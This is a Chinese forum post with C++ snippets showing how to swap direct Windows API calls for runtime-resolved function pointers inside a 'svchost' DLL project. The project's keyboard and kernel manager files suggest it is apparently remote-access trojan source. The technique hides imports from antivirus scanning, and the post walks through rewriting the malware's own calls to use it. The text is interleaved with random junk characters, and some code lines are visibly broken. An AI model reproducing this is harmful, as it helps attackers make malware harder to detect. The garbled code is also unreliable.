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[原创文章] 全局动态调用

全局动态调用笔记+ C! s/ J' c. i; k1 b! q0 k+ h) w& X
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h. L0 k% M' Q9 f
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  f+ d# b7 @- i; JDTDY.h:
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/ h3 h8 q& H$ }9 _+ i#if _MSC_VER>1000
# [6 f4 t7 E& z' {/ o4 c#pragma once0 `; U6 V8 k, q, P0 c! q
#endif //_MSC_VER>1000
' ~5 x& t+ _0 y# @1 r  v' _#include<windows.h>) @2 z! ^2 P" V' \1 O6 |
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);. O# x9 ^. L5 O+ t8 \
class DTDY
; X0 J2 W2 r  q; P9 }# m# \{
- L# z4 m. \# ?1 Q$ x: lpublic:
  F! Z9 s5 S$ xDTDY();3 e2 C& U( r; n1 ]" e$ W
virtual ~DTDY();
2 d+ y+ a7 `6 Opublic:; _; {1 q/ v6 k. G6 a3 y, {  k
static pGetModuleFileNameA MyGetModuleFileName;
0 T3 Z3 x( `$ ~; _8 Z  ~static BOOL FunInitiallization();: }3 W3 h: k, b8 t
};, c/ d3 W* n7 p/ f. b. S1 \5 i5 y
#endif/ M2 U. I3 g. D* e5 {$ S7 ]6 t/ o9 d2 U6 d
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DTDY.cpp:
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#include "DTDY.h"6 g) W) D9 H% ?) f
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
  u+ B8 d5 m- E3 [; @" CDTDY:TDY()
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DTDY::~DTDY()
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BOOL DTDY::FunInitiallization()7 b8 q0 W) f- t3 f/ T% x2 V
{) E2 f7 g3 w) `  f8 w' S( e
HMODULE hModule=LoadLibrary("kernel32.dll");
. s4 C: I, r/ d) p# [  AMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");2 Q# H  L6 U* A
if(!MyGetModuleFileName=) return FALSE;5 N, \: Y8 j# k" j
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return TRUE;! U& F7 H& U+ L+ ~& c
}
+ a- B( q% V" j) p: r----------------------------------------2 K& x- b% S" @
svchost.cpp:: T# W' g8 z$ Y$ _+ m1 u
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#include "DTDY.h"+ z7 i+ A+ q# R/ [" W

# |, T  x2 W/ u3 N5 c. PBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
$ z# `8 c: s6 h{
5 p6 Y( {3 n; _) N/ e7 T& vswitch(ul_reason_for_call)3 X! X. O/ Q. u+ m# S
{- |. }+ S# z! y# N9 ~. |' {
case DLL_PROCESS_ATTACH:
- x/ I( m$ T1 a8 j1 _* Mif(!DTDY::FunInitiallization()) return FALSE;
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1 f" m* I9 M( ^" Wbreak;, O( d$ @% U& [3 L
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def" `) o) j) G6 _" F" U9 ?  @) m
改写为" d( z2 E8 M3 U; r4 V# m! E  I! u# O
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));! @. u# \2 v: g5 n4 E
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KernelManager.cpp:
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9 o5 ~! I# t, I! ^" `#include "../DTDY.h"* G. d: u% u5 _1 i4 C3 d$ [
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
: x1 z, j- C$ i* k( b4 t$ \改写为' ~+ r( s+ Q* R, |8 }
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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